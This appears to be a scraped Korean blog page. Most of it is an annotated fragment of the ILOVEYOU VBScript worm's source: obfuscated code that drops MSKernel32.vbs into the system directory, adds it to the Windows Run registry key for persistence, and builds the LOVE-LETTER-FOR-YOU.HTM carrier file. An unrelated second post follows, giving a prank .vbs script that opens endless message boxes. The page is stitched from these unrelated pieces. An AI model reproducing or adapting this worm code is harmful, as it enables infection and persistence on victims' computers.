    & vbcrlf & _ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"
    & vbcrlf & _ "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"
    & vbcrlf & _ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"
    & vbcrlf & _ "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"
    & vbcrlf & _ "wri.write code4"
    & vbcrlf & _ "wri.close"
    & vbcrlf & _ "If (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) Then"
    & vbcrlf & _ "If (err.number=424) Then"
    & vbcrlf & _ "aw=0"
    & vbcrlf & _ "End If"
    & vbcrlf & _ "If (aw=1) Then"
    & vbcrlf & _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@"
    & vbcrlf & _ "window.close"
    & vbcrlf & _ "End If"
    & vbcrlf & _ "End If"
    & vbcrlf & _ "Set regedit = CreateObject(@-@WScript.Shell@-@)"
    & vbcrlf & _ "regedit.RegWrite@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"
    & vbcrlf & _ "?-??-?-->"
    & vbcrlf & _ "<?-?SCRIPT>"

  rem Replaces encoded characters from the above document to form a valid
  rem document that can be correctly opened and executed in the browser.
  dt1 = replace(dta1, chr(35) & chr(45) & chr(35), "'")
  dt1 = replace(dt1, chr(64) & chr(45) & chr(64), """")
  dt4 = replace(dt1, chr(63) & chr(45) & chr(63), "/")
  dt5 = replace(dt4, chr(94) & chr(45) & chr(94), "\")
  dt2 = replace(dta2, chr(35) & chr(45) & chr(35), "'")
  dt2 = replace(dt2, chr(64) & chr(45) & chr(64), """")
  dt3 = replace(dt2, chr(63) & chr(45) & chr(63), "/")
  dt6 = replace(dt3, chr(94) & chr(45) & chr(94), "\")

  rem Opens a new file system object, which is used to read this specific
  rem script file, that will then be injected into the HTM document.
  Set fso = CreateObject("Scripting.FileSystemObject")
  Set c = fso.OpenTextFile(WScript.ScriptFullName, 1)

  lines = Split(c.ReadAll,vbcrlf)
  l1 = ubound(lines)

  rem Encodes all special characters of the script's HTM, as this script
  rem will be injected into the HTM file and executed.
  For n = 0 to ubound(lines)
    lines(n) = replace(lines(n), "'", chr(91) + chr(45) + chr(91))
    lines(n) = replace(lines(n), """", chr(93) + chr(45) + chr(93))
    lines(n) = replace(lines(n), "\", chr(37) + chr(45) + chr(37))

    If (l1 = n) Then
      lines(n) = chr(34) + lines(n) + chr(34)
    Else
      lines(n) = chr(34) + lines(n) + chr(34) & " & vbcrlf & _"
    End If
  Next

  rem Create the LOVE-LETTER-FOR-YOU.HTM file in the system directory.
  Set b = fso.CreateTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM")
  b.close

  rem Creates the HTM file from everything above.
  Set d = fso.OpenTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM", 2)
  d.write dt5
  d.write join(lines, vbcrlf)
  d.write vbcrlf
  d.write dt6
  d.close
End Sub

 

 

 

반응형
반응형

골탕먹이기 코드라고 볼 수 있다.

아래와 같은 코드를 작성하면, 이 프로그램을 실행시키면 닫을 수도 없도록 계속 무한 팝업창이 뜬다.

 

만드는 법은 매우 간단하다. 그저 Text파일을 생성하고 스크립트를 작성하고 .vbs 파일 확장명으로 저장하면 된다.

1. 텍스트 파일 만들기

2. 확장명 .vbs로 바꾸기 (아이콘 모양이 자동으로 변경된다)

참고로 확장명을 모두 보이게 하려면 파일의 상단탭에 "보기"에서 "파일 확장명"을 체크하면 된다.

3. 코드 작성

Do
x = MsgBox("hello", 16, "Monkey")
Loop

(결과) "Monkey" 라는 창이 뜨고, Hello가 보여지며 닫아도 계속 열릴 것이다.

    (종료하려면 작업관리자에서 프로세스를 끈다)

 

 

반응형
12345

+ Recent posts